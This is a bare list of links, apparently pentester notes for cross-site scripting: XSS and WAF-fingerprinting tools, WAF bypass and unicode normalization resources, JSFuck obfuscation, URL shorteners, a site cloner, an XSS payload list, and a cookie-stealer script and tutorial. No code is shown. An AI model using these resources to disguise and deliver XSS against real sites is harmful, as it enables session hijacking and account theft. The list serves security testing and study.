https://github.com/epsylon/xsser
wafw00f
https://github.com/0xInfection/Awesome-WAF
https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/
https://appcheck-ng.com/wp-content/uploads/unicode_normalization.html
https://0xacb.com/normalization_table
https://github.com/alessio-romano/UniXSS
link
https://jsfuck.com/
https://github.com/aemkei/jsfuck
https://tinyurl.com/
https://www.shorturl.at/
https://bitly.com/
https://yourls.org/
goclone
examples
https://raw.githubusercontent.com/lnxg33k/misc/master/XSS-cookie-stealer.py
https://github.com/R0B1NL1N/WebHacking101/blob/master/xss-reflected-steal-cookie.md
xss-payload-list/xss-payload-list.txt at master · payloadbox/xss-payload-listGitHub
Logo